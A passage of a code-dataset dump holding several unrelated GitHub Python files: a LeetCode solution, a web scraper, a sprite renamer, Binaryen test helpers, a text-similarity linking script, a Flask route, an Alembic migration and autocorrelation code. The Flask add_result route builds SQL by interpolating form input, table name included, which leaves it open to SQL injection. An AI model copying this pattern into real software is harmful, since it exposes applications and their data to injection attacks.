'root/c/d/4.txt', 'root/4.txt']]\n print(Solution().findDuplicate([\"root/a 1.txt(abcd) 2.txt(efgh)\", \"root/c 3.txt(abcd)\", \"root/c/d 4.txt(efgh)\", \"root 4.txt(efgh)\"]))\n # [['root/a/1.txt', 'root/c/3.txt'], ['root/a/2.txt', 'root/c/d/4.txt']]\n print(Solution().findDuplicate([\"root/a 1.txt(abcd) 2.txt(efgh)\", \"root/c 3.txt(abcd)\", \"root/c/d 4.txt(efgh)\"]))\n","repo_name":"adanzl/leetcode-practice","sub_path":"py/q0600/Q609.py","file_name":"Q609.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29027619053","text":"from bs4 import BeautifulSoup\n\nimport requests\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}\n\n\nhtml_text=requests.get(\"https://www.bigbasket.com/cl/foodgrains-oil-masala/?nc=cs\",headers=headers);\n\n# print(html_text);\n\nsoup=BeautifulSoup(html_text.text,\"lxml\")\n\nproduct_names=soup.find_all(\"div\",class_=\"col-sm-12 col-xs-7 prod-name\")\n\n\nprint(product_names,\"empty\")","repo_name":"RAVIPATI-VASANTH/Optimized-Frequent-Pattern-Analyzer","sub_path":"server/webCrawling/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22274167014","text":"import os\nimport re\n\n\ndef main():\n\n # `id_game_direction_shiny_icon_mega_num` where each is `int_str_str_bool_bool_bool_int`.\n game = 'dreamworld'\n\n d = os.path.join('data', 'pokemon', game)\n\n files = sorted([os.path.join(d, x) for x in os.listdir(d)])\n files.sort(key=lambda f: int(re.sub('\\D', '', f)))\n\n direction = 'front'\n shiny = 'f'\n icon = 'f'\n mega = 'f'\n num = '1'\n\n pid = 1\n\n for f in files:\n new_name = str(pid)+'_'+game+'_'+direction+'_'+shiny+'_'+icon+'_'+mega+'_'+num+'.png'\n new_name = os.path.join(d, new_name)\n print(f,'-->',new_name)\n os.rename(f, new_name)\n\n #new_name = str(pid)+'_'+game+'_'+direction+'_'+shiny+'_'+icon+'_'+mega+'.gif'\n #new_name = os.path.join(d, os.path.basename(new_name))\n #os.rename(f, new_name)\n #command = 'convert -coalesce '+f+' '+f.replace('.gif','.png')\n #os.system(command)\n #print(command)\n pid += 1\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cameronfabbri/pokemon","sub_path":"scripts/rename_sprites.py","file_name":"rename_sprites.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"36642500733","text":"from __future__ import print_function\n\nimport argparse\nimport difflib\nimport glob\nimport os\nimport shutil\nimport subprocess\nimport sys\n\n\ndef parse_args(args):\n usage_str = (\"usage: 'python check.py [options]'\\n\\n\"\n \"Runs the Binaryen test suite.\")\n parser = argparse.ArgumentParser(description=usage_str)\n parser.add_argument(\n '--torture', dest='torture', action='store_true', default=True,\n help='Chooses whether to run the torture testcases. Default: true.')\n parser.add_argument(\n '--no-torture', dest='torture', action='store_false',\n help='Disables running the torture testcases.')\n parser.add_argument(\n '--abort-on-first-failure', dest='abort_on_first_failure',\n action='store_true', default=True,\n help=('Specifies whether to halt test suite execution on first test error.'\n ' Default: true.'))\n parser.add_argument(\n '--no-abort-on-first-failure', dest='abort_on_first_failure',\n action='store_false',\n help=('If set, the whole test suite will run to completion independent of'\n ' earlier errors.'))\n\n parser.add_argument(\n '--interpreter', dest='interpreter', default='',\n help='Specifies the wasm interpreter executable to run tests on.')\n parser.add_argument(\n '--binaryen-bin', dest='binaryen_bin', default='',\n help=('Specifies a path to where the built Binaryen executables reside at.'\n ' Default: bin/ of current directory (i.e. assume an in-tree build).'\n ' If not specified, the environment variable BINARYEN_ROOT= can also'\n ' be used to adjust this.'))\n parser.add_argument(\n '--binaryen-root', dest='binaryen_root', default='',\n help=('Specifies a path to the root of the Binaryen repository tree.'\n ' Default: the directory where this file check.py resides.'))\n parser.add_argument(\n '--out-dir', dest='out_dir', default='',\n help=('Specifies a path to the output directory for temp files, which '\n 'is also where the test runner changes directory into.',\n ' Default:. out/test under the binaryen root.'))\n parser.add_argument(\n '--valgrind', dest='valgrind', default='',\n help=('Specifies a path to Valgrind tool, which will be used to validate'\n ' execution if specified. (Pass --valgrind=valgrind to search in'\n ' PATH)'))\n parser.add_argument(\n '--valgrind-full-leak-check', dest='valgrind_full_leak_check',\n action='store_true', default=False,\n help=('If specified, all unfreed (but still referenced) pointers at the'\n ' end of execution are considered memory leaks. Default: disabled.'))\n parser.add_argument(\n '--spec-test', action='append', nargs='*', default=[], dest='spec_tests',\n help='Names specific spec tests to run.')\n parser.add_argument(\n 'positional_args', metavar='TEST_SUITE', nargs='*',\n help=('Names specific test suites to run. Use --list-suites to see a '\n 'list of all test suites'))\n parser.add_argument(\n '--list-suites', action='store_true',\n help='List the test suites that can be run.')\n\n return parser.parse_args(args)\n\n\noptions = parse_args(sys.argv[1:])\nrequested = options.positional_args\n\nnum_failures = 0\nwarnings = []\n\n\ndef warn(text):\n global warnings\n warnings.append(text)\n print('warning:', text, file=sys.stderr)\n\n\n# setup\n\n# Locate Binaryen build artifacts directory (bin/ by default)\nif not options.binaryen_bin:\n if os.environ.get('BINARYEN_ROOT'):\n if os.path.isdir(os.path.join(os.environ.get('BINARYEN_ROOT'), 'bin')):\n options.binaryen_bin = os.path.join(\n os.environ.get('BINARYEN_ROOT'), 'bin')\n else:\n options.binaryen_bin = os.environ.get('BINARYEN_ROOT')\n else:\n options.binaryen_bin = 'bin'\n\noptions.binaryen_bin = os.path.normpath(os.path.abspath(options.binaryen_bin))\n\n# ensure BINARYEN_ROOT is set up\nos.environ['BINARYEN_ROOT'] = os.path.dirname(options.binaryen_bin)\n\nwasm_dis_filenames = ['wasm-dis', 'wasm-dis.exe']\nif not any(os.path.isfile(os.path.join(options.binaryen_bin, f))\n for f in wasm_dis_filenames):\n warn('Binaryen not found (or has not been successfully built to bin/ ?')\n\n# Locate Binaryen source directory if not specified.\nif not options.binaryen_root:\n path_parts = os.path.abspath(__file__).split(os.path.sep)\n options.binaryen_root = os.path.sep.join(path_parts[:-3])\n\noptions.binaryen_test = os.path.join(options.binaryen_root, 'test')\n\nif not options.out_dir:\n options.out_dir = os.path.join(options.binaryen_root, 'out', 'test')\n\nif not os.path.exists(options.out_dir):\n os.makedirs(options.out_dir)\nos.chdir(options.out_dir)\n\n\n# Finds the given executable 'program' in PATH.\n# Operates like the Unix tool 'which'.\ndef which(program):\n def is_exe(fpath):\n return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n fpath, fname = os.path.split(program)\n if fpath:\n if is_exe(program):\n return program\n else:\n for path in os.environ[\"PATH\"].split(os.pathsep):\n path = path.strip('\"')\n exe_file = os.path.join(path, program)\n if is_exe(exe_file):\n return exe_file\n if '.' not in fname:\n if is_exe(exe_file + '.exe'):\n return exe_file + '.exe'\n if is_exe(exe_file + '.cmd'):\n return exe_file + '.cmd'\n if is_exe(exe_file + '.bat'):\n return exe_file + '.bat'\n\n\nWATERFALL_BUILD_DIR = os.path.join(options.binaryen_test, 'wasm-install')\nBIN_DIR = os.path.abspath(os.path.join(WATERFALL_BUILD_DIR, 'wasm-install', 'bin'))\n\nNATIVECC = (os.environ.get('CC') or which('mingw32-gcc') or\n which('gcc') or which('clang'))\nNATIVEXX = (os.environ.get('CXX') or which('mingw32-g++') or\n which('g++') or which('clang++'))\nNODEJS = os.getenv('NODE', which('nodejs') or which('node'))\nMOZJS = which('mozjs') or which('spidermonkey')\nV8 = which('v8') or which('d8')\nEMCC = which('emcc')\n\nBINARYEN_INSTALL_DIR = os.path.dirname(options.binaryen_bin)\nWASM_OPT = [os.path.join(options.binaryen_bin, 'wasm-opt')]\nWASM_AS = [os.path.join(options.binaryen_bin, 'wasm-as')]\nWASM_DIS = [os.path.join(options.binaryen_bin, 'wasm-dis')]\nASM2WASM = [os.path.join(options.binaryen_bin, 'asm2wasm')]\nWASM2JS = [os.path.join(options.binaryen_bin, 'wasm2js')]\nWASM_CTOR_EVAL = [os.path.join(options.binaryen_bin, 'wasm-ctor-eval')]\nWASM_SHELL = [os.path.join(options.binaryen_bin, 'wasm-shell')]\nWASM_REDUCE = [os.path.join(options.binaryen_bin, 'wasm-reduce')]\nWASM_METADCE = [os.path.join(options.binaryen_bin, 'wasm-metadce')]\nWASM_EMSCRIPTEN_FINALIZE = [os.path.join(options.binaryen_bin,\n 'wasm-emscripten-finalize')]\nBINARYEN_JS = os.path.join(options.binaryen_root, 'out', 'binaryen.js')\n\n\ndef wrap_with_valgrind(cmd):\n # Exit code 97 is arbitrary, used to easily detect when an error occurs that\n # is detected by Valgrind.\n valgrind = [options.valgrind, '--quiet', '--error-exitcode=97']\n if options.valgrind_full_leak_check:\n valgrind += ['--leak-check=full', '--show-leak-kinds=all']\n return valgrind + cmd\n\n\nif options.valgrind:\n WASM_OPT = wrap_with_valgrind(WASM_OPT)\n WASM_AS = wrap_with_valgrind(WASM_AS)\n WASM_DIS = wrap_with_valgrind(WASM_DIS)\n ASM2WASM = wrap_with_valgrind(ASM2WASM)\n WASM_SHELL = wrap_with_valgrind(WASM_SHELL)\n\n\ndef in_binaryen(*args):\n __rootpath__ = os.path.abspath(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))\n return os.path.join(__rootpath__, *args)\n\n\nos.environ['BINARYEN'] = in_binaryen()\n\n\ndef get_platform():\n return {'linux': 'linux',\n 'linux2': 'linux',\n 'darwin': 'mac',\n 'win32': 'windows',\n 'cygwin': 'windows'}[sys.platform]\n\n\ndef has_shell_timeout():\n return get_platform() != 'windows' and os.system('timeout 1s pwd') == 0\n\n\n# Default options to pass to v8. These enable all features.\nV8_OPTS = [\n '--experimental-wasm-eh',\n '--experimental-wasm-mv',\n '--experimental-wasm-sat-f2i-conversions',\n '--experimental-wasm-se',\n '--experimental-wasm-threads',\n '--experimental-wasm-simd',\n '--experimental-wasm-anyref',\n '--experimental-wasm-bulk-memory',\n '--experimental-wasm-return-call'\n]\n\nhas_vanilla_llvm = False\n\n# external tools\n\ntry:\n if NODEJS is not None:\n subprocess.check_call([NODEJS, '--version'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\nexcept (OSError, subprocess.CalledProcessError):\n NODEJS = None\nif NODEJS is None:\n warn('no node found (did not check proper js form)')\n\ntry:\n if MOZJS is not None:\n subprocess.check_call([MOZJS, '--version'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\nexcept (OSError, subprocess.CalledProcessError):\n MOZJS = None\nif MOZJS is None:\n warn('no mozjs found (did not check native wasm support nor asm.js'\n ' validation)')\n\ntry:\n if EMCC is not None:\n subprocess.check_call([EMCC, '--version'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\nexcept (OSError, subprocess.CalledProcessError):\n EMCC = None\nif EMCC is None:\n warn('no emcc found (did not check non-vanilla emscripten/binaryen'\n ' integration)')\n\nhas_vanilla_emcc = False\ntry:\n subprocess.check_call(\n [os.path.join(options.binaryen_test, 'emscripten', 'emcc'), '--version'],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n has_vanilla_emcc = True\nexcept (OSError, subprocess.CalledProcessError):\n pass\n\n\n# utilities\n\n# removes a file if it exists, using any and all ways of doing so\ndef delete_from_orbit(filename):\n try:\n os.unlink(filename)\n except OSError:\n pass\n if not os.path.exists(filename):\n return\n try:\n shutil.rmtree(filename, ignore_errors=True)\n except OSError:\n pass\n if not os.path.exists(filename):\n return\n try:\n import stat\n os.chmod(filename, os.stat(filename).st_mode | stat.S_IWRITE)\n\n def remove_readonly_and_try_again(func, path, exc_info):\n if not (os.stat(path).st_mode & stat.S_IWRITE):\n os.chmod(path, os.stat(path).st_mode | stat.S_IWRITE)\n func(path)\n else:\n raise\n shutil.rmtree(filename, onerror=remove_readonly_and_try_again)\n except OSError:\n pass\n\n\n# This is a workaround for https://bugs.python.org/issue9400\nclass Py2CalledProcessError(subprocess.CalledProcessError):\n def __init__(self, returncode, cmd, output=None, stderr=None):\n super(Exception, self).__init__(returncode, cmd, output, stderr)\n self.returncode = returncode\n self.cmd = cmd\n self.output = output\n self.stderr = stderr\n\n\ndef run_process(cmd, check=True, input=None, capture_output=False, decode_output=True, *args, **kw):\n if input and type(input) == str:\n input = bytes(input, 'utf-8')\n if capture_output:\n kw['stdout'] = subprocess.PIPE\n kw['stderr'] = subprocess.PIPE\n ret = subprocess.run(cmd, check=check, input=input, *args, **kw)\n if decode_output and ret.stdout is not None:\n ret.stdout = ret.stdout.decode('utf-8')\n if ret.stderr is not None:\n ret.stderr = ret.stderr.decode('utf-8')\n return ret\n\n\ndef fail_with_error(msg):\n global num_failures\n try:\n num_failures += 1\n raise Exception(msg)\n except Exception as e:\n print(str(e))\n if options.abort_on_first_failure:\n raise\n\n\ndef fail(actual, expected, fromfile='expected'):\n diff_lines = difflib.unified_diff(\n expected.split('\\n'), actual.split('\\n'),\n fromfile=fromfile, tofile='actual')\n diff_str = ''.join([a.rstrip() + '\\n' for a in diff_lines])[:]\n fail_with_error(\"incorrect output, diff:\\n\\n%s\" % diff_str)\n\n\ndef fail_if_not_identical(actual, expected, fromfile='expected'):\n if expected != actual:\n fail(actual, expected, fromfile=fromfile)\n\n\ndef fail_if_not_contained(actual, expected):\n if expected not in actual:\n fail(actual, expected)\n\n\ndef fail_if_not_identical_to_file(actual, expected_file):\n binary = expected_file.endswith(\".wasm\") or type(actual) == bytes\n with open(expected_file, 'rb' if binary else 'r') as f:\n fail_if_not_identical(actual, f.read(), fromfile=expected_file)\n\n\nif len(requested) == 0:\n tests = sorted(os.listdir(os.path.join(options.binaryen_test)))\nelse:\n tests = requested[:]\n\nif not options.interpreter:\n warn('no interpreter provided (did not test spec interpreter validation)')\n\nif not has_vanilla_emcc:\n warn('no functional emcc submodule found')\n\n\n# check utilities\n\n\ndef validate_binary(wasm):\n if V8:\n cmd = [V8] + V8_OPTS + [in_binaryen('scripts', 'validation_shell.js'), '--', wasm]\n print(' ', ' '.join(cmd))\n subprocess.check_call(cmd, stdout=subprocess.PIPE)\n else:\n print('(skipping v8 binary validation)')\n\n\ndef binary_format_check(wast, verify_final_result=True, wasm_as_args=['-g'],\n binary_suffix='.fromBinary', original_wast=None):\n # checks we can convert the wast to binary and back\n\n print(' (binary format check)')\n cmd = WASM_AS + [wast, '-o', 'a.wasm', '-all'] + wasm_as_args\n print(' ', ' '.join(cmd))\n if os.path.exists('a.wasm'):\n os.unlink('a.wasm')\n subprocess.check_call(cmd, stdout=subprocess.PIPE)\n assert os.path.exists('a.wasm')\n\n # make sure it is a valid wasm, using a real wasm VM\n if os.path.basename(original_wast or wast) not in [\n 'atomics.wast', # https://bugs.chromium.org/p/v8/issues/detail?id=9425\n 'simd.wast', # https://bugs.chromium.org/p/v8/issues/detail?id=8460\n ]:\n validate_binary('a.wasm')\n\n cmd = WASM_DIS + ['a.wasm', '-o', 'ab.wast']\n print(' ', ' '.join(cmd))\n if os.path.exists('ab.wast'):\n os.unlink('ab.wast')\n subprocess.check_call(cmd, stdout=subprocess.PIPE)\n assert os.path.exists('ab.wast')\n\n # make sure it is a valid wast\n cmd = WASM_OPT + ['ab.wast', '-all']\n print(' ', ' '.join(cmd))\n subprocess.check_call(cmd, stdout=subprocess.PIPE)\n\n if verify_final_result:\n actual = open('ab.wast').read()\n fail_if_not_identical_to_file(actual, wast + binary_suffix)\n\n return 'ab.wast'\n\n\ndef minify_check(wast, verify_final_result=True):\n # checks we can parse minified output\n\n print(' (minify check)')\n cmd = WASM_OPT + [wast, '--print-minified', '-all']\n print(' ', ' '.join(cmd))\n subprocess.check_call(cmd, stdout=open('a.wast', 'w'), stderr=subprocess.PIPE)\n assert os.path.exists('a.wast')\n subprocess.check_call(WASM_OPT + ['a.wast', '--print-minified', '-all'],\n stdout=open('b.wast', 'w'), stderr=subprocess.PIPE)\n assert os.path.exists('b.wast')\n if verify_final_result:\n expected = open('a.wast').read()\n actual = open('b.wast').read()\n if actual != expected:\n fail(actual, expected)\n if os.path.exists('a.wast'):\n os.unlink('a.wast')\n if os.path.exists('b.wast'):\n os.unlink('b.wast')\n\n\ndef files_with_pattern(*path_pattern):\n return sorted(glob.glob(os.path.join(*path_pattern)))\n\n\n# run a check with BINARYEN_PASS_DEBUG set, to do full validation\ndef with_pass_debug(check):\n old_pass_debug = os.environ.get('BINARYEN_PASS_DEBUG')\n try:\n os.environ['BINARYEN_PASS_DEBUG'] = '1'\n check()\n finally:\n if old_pass_debug is not None:\n os.environ['BINARYEN_PASS_DEBUG'] = old_pass_debug\n else:\n if 'BINARYEN_PASS_DEBUG' in os.environ:\n del os.environ['BINARYEN_PASS_DEBUG']\n","repo_name":"tareq97-zz/Tasks","sub_path":"randomized_binaryen/scripts/test/shared.py","file_name":"shared.py","file_ext":"py","file_size_in_byte":16187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73068283991","text":"\nimport pandas as pd\nimport string\nimport re\nimport sys\n\nimport nltk\nfrom nltk.corpus import stopwords\n\nimport pandas as pd\n\nfrom nltk.stem import PorterStemmer\n\nps = PorterStemmer()\n\nstop_words = set(stopwords.words('english'))\n\ndef tokenize_line(line):\n\n # comment=\"the programmer programmed a new file\"\n\n text_new = line\n\n for character in string.punctuation:\n text_new = text_new.replace(character, ' ')\n\n tokens=text_new.split(\" \")\n\n text=\" \".join(tokens)\n\n regex=\"(?<=[a-z])(?=[A-Z])|(?<=[A-Z])(?=[A-Z][a-z])\"\n\n tokens=re.split(regex, text)\n\n res=list()\n for t in tokens:\n # we remove the punctuation. Not said in the paper but they use \"words\"\n t_currs=t.split(\" \")\n\n for t_curr in t_currs:\n\n if len(t_curr)>0:\n res.append(t_curr.lower())\n\n\n filtered_tokens = [w for w in res if not w in stop_words]\n\n res=list()\n for w in filtered_tokens:\n res.append(ps.stem(w))\n\n filtered_tokens=res\n\n # print(res)\n return filtered_tokens\n\n\ndef find_comment(lines):\n start_comment=list()\n end_comment=list()\n\n for i, l in enumerate(lines):\n if \"\" in l:\n start_comment.append(i)\n if \"\" in l:\n end_comment.append(i)\n\n commented_lines=list()\n for x,y in zip(start_comment, end_comment):\n for i in range(x,y+1):\n commented_lines.append(i)\n # print(start_comment, end_comment)\n # print(commented_lines)\n # print(\"_____\")\n return commented_lines\n\ndef compute_similarity(s1, s2):\n len_s1=len(s1)\n len_s2=len(s2)\n\n s2_cp=s2.copy()\n\n numerator=0\n\n for e in s1:\n if e in s2_cp:\n s2_cp.remove(e)\n numerator+=1\n\n denominator=max(len_s1, len_s2)\n\n return numerator/denominator\n\n\n\ndef add_start_end(code_lines, commented_lines):\n\n start_lines=list()\n end_lines=list()\n\n # if the model did not predict any start end we return the original method\n if len(commented_lines)==0:\n return \"\\n\".join(code_lines)\n\n max_lines=max(commented_lines)+2\n\n added_lines=dict()\n\n for c in commented_lines:\n # print(\"PROCESSNG {}\".format(c))\n if c not in added_lines.keys():\n # print(\"ADD START\")\n start_lines.append(c)\n added_lines[c]=1\n for i in range(c+1,max_lines+2):\n # print(\"ANALYZING {}\".format(i))\n if i in commented_lines:\n added_lines[i]=1\n else:\n end_lines.append(i-1)\n # print(\"ADD END\")\n break\n\n\n lines=code_lines\n\n\n for x,y in zip(start_lines, end_lines):\n line_s=lines[x]\n line_s=\"\"+line_s\n lines[x]=line_s\n\n line_e=lines[y]\n line_e=line_e+\"\"\n lines[y]=line_e\n\n return \"\\n\".join(lines)\n\ndef Average(lst):\n return sum(lst) / len(lst)\n\n\ndef main():\n file=\"test.csv\"\n file_no_comments=\"result_authors.csv\"\n\n\n df=pd.read_csv(file)\n df2=pd.read_csv(file_no_comments)\n\n dict_commented_lines=dict()\n dict_comment_tokens=dict()\n dict_num_lines=dict()\n dict_correct_linking=dict()\n\n dict_index_instance=dict()\n\n for index, row in df.iterrows():\n\n method=row[\"linkingInstance\"]\n lines=method.split(\"\\n\")\n\n lines=[l.replace(\"\",\"\").replace(\"\",\"\") for l in lines]\n\n # for l in lines:\n # print(l)\n\n commented_lines=find_comment(lines)\n # print(len(commented_lines))\n # print(commented_lines)\n\n # commented text\n\n comment_text=\"\"\n for c in commented_lines:\n comment_text+=\"{} \".format(lines[c])\n\n comment_text=comment_text.replace(\"\",\"\").replace(\"\",\"\").strip()\n # print(comment_text)\n\n tokens_comment=tokenize_line(comment_text)\n\n dict_comment_tokens[index]=tokens_comment\n dict_commented_lines[index]=commented_lines\n dict_num_lines[index]=len(lines)\n dict_index_instance[index]=row[\"index\"]\n\n thresholds=[0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]\n\n dict_threshold=dict()\n dict_referred_lines=dict()\n\n for t in thresholds:\n\n print(\"Threshold {}\".format(t))\n\n dict_result=dict()\n dict_ref_curr=dict()\n\n for index, row in df2.iterrows():\n\n if index%100==0:\n print(\"{} OUT OF {}\".format(index, len(df2.index)))\n\n referred_lines=list()\n\n method=row[\"predicted linking\"]\n correct=row[\"correct linking\"]\n dict_correct_linking[index]=correct\n\n method=method.replace(\"\",\"\").replace(\"\",\"\").replace(\"//comment\",\"\")\n\n lines=method.split(\"\\n\")\n\n if len(lines) != dict_num_lines[index]:\n print(\"ERROR NUM LINES\")\n method=row[\"predicted linking\"]\n\n method=method.replace(\"\",\"\").replace(\"\",\"\")\n\n dict_result[index]=method\n dict_ref_curr[index]=list()\n\n continue\n\n commented_lines=dict_commented_lines[index]\n tokens_comment=dict_comment_tokens[index]\n\n # for l in lines:\n # print(l)\n\n for i, l in enumerate(lines):\n if i in commented_lines:\n continue\n\n tokens_line=tokenize_line(l.strip())\n # print(l)\n # print(tokens_line)\n # print(tokens_comment)\n sim=compute_similarity(tokens_line, tokens_comment)\n # print(sim)\n if sim>t:\n referred_lines.append(i)\n\n\n method=row[\"predicted linking\"]\n\n method=method.replace(\"\",\"\").replace(\"\",\"\")\n\n lines=method.split(\"\\n\")\n\n res=add_start_end(lines, referred_lines)\n\n dict_result[index]=res\n dict_ref_curr[index]=referred_lines\n\n\n dict_threshold[t]=dict_result\n dict_referred_lines[t]=dict_ref_curr\n\n\n for t in thresholds:\n res_curr=dict_threshold[t]\n\n col1=list()\n col2=list()\n col3=list()\n for k in res_curr.keys():\n col1.append(dict_index_instance[k])\n col2.append(res_curr[k])\n col3.append(dict_correct_linking[k])\n #\n df = pd.DataFrame({\n 'id_istance': col1,\n 'predicted linking': col2,\n 'correct linking': col3\n })\n df.to_csv('result_textual_similarity_{}.csv'.format(t), index=False, header=True)\n\n\n for t in thresholds:\n res_curr=dict_referred_lines[t]\n\n ref_lines_len=list()\n\n\n curr=0\n tot=0\n\n for k in res_curr.keys():\n if len(res_curr[k])>0:\n curr+=1\n ref_lines_len.append(len(res_curr[k]))\n # print(res_curr[k])\n # print(ref_lines_len)\n tot+=1\n\n print(\"Threshold {}: {} OUT OF {}\".format(t, curr, tot))\n print(\"average num lines: {}\".format(Average(ref_lines_len)))\n\n\n\n\nif __name__==\"__main__\":\n main()","repo_name":"snippet-summarization/scs-pt-transformers","sub_path":"Code/Linking/Token-Based-SS/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71720484953","text":"from flask import Blueprint, request, jsonify, make_response\nimport json\nfrom src import db\n\nassistant = Blueprint('assistant', __name__)\n\n# Helper function mapping experiment number to id in database\ndef get_exp_dict(cursor):\n query = '''\n SELECT exp_num, id\n FROM experiment\n '''\n cursor.execute(query)\n result = cursor.fetchall()\n\n return {row[0]: row[1] for row in result}\n\n\n# Insert new result into desired table\n@assistant.route('/result', methods=['POST'])\ndef add_result():\n\n # first map experiment num to id\n connection = db.connect()\n cursor = connection.cursor()\n exp_dict = get_exp_dict(cursor)\n\n # get data from POST request and add it into SQL INSERT query\n table = request.form['table']\n exp_id = exp_dict[request.form['expNum']]\n trial_num = request.form['trialNum']\n sql = f'INSERT INTO {table} VALUES ({exp_id}, {trial_num}, '\n for result in ['result1', 'result2', 'result3', 'result4']:\n if request.form[result] != '':\n sql += f'{request.form[result]}, '\n sql = sql[:-2]\n sql += ');'\n\n # execute INSERT query\n cursor.execute(sql)\n connection.commit()\n\n return '

Success!

'\n","repo_name":"josephentner/LIMS-Tracker-and-Analytics","sub_path":"flask-app/src/assistant/assistant.py","file_name":"assistant.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37541635740","text":"\"\"\"making_person_multinetwork\n\nRevision ID: 21a22e8b1948\nRevises: 58dfdfe8ae74\nCreate Date: 2016-10-31 19:16:19.270884\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '21a22e8b1948'\ndown_revision = '58dfdfe8ae74'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('radio_personnetwork',\n sa.Column('network_id', sa.Integer(), nullable=True),\n sa.Column('person_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['network_id'], ['radio_network.id'], ),\n sa.ForeignKeyConstraint(['person_id'], ['radio_person.id'], ),\n sa.PrimaryKeyConstraint()\n )\n op.drop_column(u'radio_person', 'network_id')\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column(u'radio_person', sa.Column('network_id', sa.INTEGER(), nullable=True))\n op.drop_table('radio_personnetwork')\n ### end Alembic commands ###\n","repo_name":"rootio/rootio_web","sub_path":"alembic/versions/21a22e8b1948_making_person_multin.py","file_name":"21a22e8b1948_making_person_multin.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"5"} +{"seq_id":"34079487374","text":"import numpy as np\nimport os\nimport pickle\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport scipy.signal\n# import pathos.multiprocessing as mp\n# import tqdm\n# import pathos\nfrom p_tqdm import p_map, p_imap\n\ndef correlation_distance(img_path, dmin, dmax, N):\n # Calculate correlation function (correlation as a function of distance).\n\n # Summary: for each distance bin, find N pairs of points in the image with that distance. Calculate correlation\n # coefficient for the vectors generated by these pairs. Loop through all distance bins to get correlations as a\n # function of distance.\n\n # --- PARAMETERS ---\n # imgs_dir: directory of images\n # dmin, dmax: minimum and maximum distances\n # N: number of point pairs samples\n # ------------------\n\n img = np.array(Image.open(img_path).convert('L')).flatten() # load img > convert to greyscale > flatten\n res = np.sqrt(img.shape[0]) # img should be square...\n\n # calculate correlation for each distance bin\n corr_d_img = []\n for d in np.arange(dmin, dmax):\n\n p, q = find_N_pairs(d, N, int(res))\n corr = np.corrcoef(img[p], img[q])[0, 1]\n\n corr_d_img.append(corr)\n\n return corr_d_img\n\ndef fft_autocorr(img_path, method='fft_norm'):\n\n img = np.array(Image.open(img_path).convert('L')) / 255\n\n img_mean = np.mean(np.mean(img)) # calculate mean\n img = img - img_mean # subtract mean\n\n if method == 'fft_windowed':\n # apply hanning window function\n h = np.outer( np.hanning(len(img)), np.hanning(len(img)) )\n img = img * h\n\n img_squared_mean = np.mean(np.mean(img**2))\n\n nm = np.product(np.shape(img))\n\n corr = scipy.signal.fftconvolve(img, img[::-1, ::-1]) / nm / img_squared_mean\n\n\n shape = np.shape(corr)\n iu = np.triu_indices(n=shape[0], m=shape[1])\n\n return corr[iu]\n\n\ndef fft_autocorr_norm(img, mass, I, clean=True):\n ###\n # calculate the auto-correlation of 'img' normalizing with respect to local means and variances\n # I: np.ones(np.shape(img))\n # mass: convolve(I, I)\n # these matrices are not included in this function to save computation\n ###\n local_mean = scipy.signal.fftconvolve(img, I) / mass\n sum_img_sqr = scipy.signal.fftconvolve(img ** 2, I)\n\n if clean:\n local_mean[local_mean < 0] = 0\n sum_img_sqr[sum_img_sqr < 0] = 0\n\n local_var = (sum_img_sqr - mass * local_mean ** 2) / mass\n\n if clean:\n local_var[local_var < 1e-8] = 1e-8\n local_var[np.isinf(local_var)] = np.nan\n\n\n G = scipy.signal.fftconvolve(img, img[::-1, ::-1])\n means_terms = mass * -1 * (local_mean * local_mean[::-1, ::-1])\n auto_corr = (G + means_terms) / (mass * np.sqrt(local_var * local_var[::-1, ::-1]))\n\n\n shape = np.shape(auto_corr)\n iu = np.triu_indices(n=shape[0], m=shape[1])\n\n return auto_corr[iu]\n\n\n\ndef load_image_directories(img_folder=None):\n # make a list of all imgs in image directory\n\n dir = 'save/img_architectures'\n imgs_folder = os.path.join(dir, img_folder)\n imgs_paths = [os.path.join(imgs_folder, f) for f in os.listdir(imgs_folder) if f.endswith('.png')]\n\n return imgs_paths\n\n\ndef find_N_pairs(d, N, res):\n # find N pairs of coordinates that are distance d apart\n x1 = np.random.randint(0, res, N)\n y1 = np.random.randint(0, res, N)\n\n p = x1 * res + y1\n\n x2, y2 = random_walk(x1, y1, d, res)\n\n q = x2 * res + y2\n\n return p.astype('int'), q.astype('int')\n\ndef random_walk(x1, y1, d, res):\n # use random walk to find a second coordinate (x2, y2) from starting point (x1, y1)\n alpha = 2 * np.pi * np.random.random(len(x1))\n\n dx = np.round(d * np.sin(alpha))\n dy = np.round(d * np.cos(alpha))\n\n x2 = x1 + dx\n y2 = y1 + dy\n\n # find all values that are out of bounds 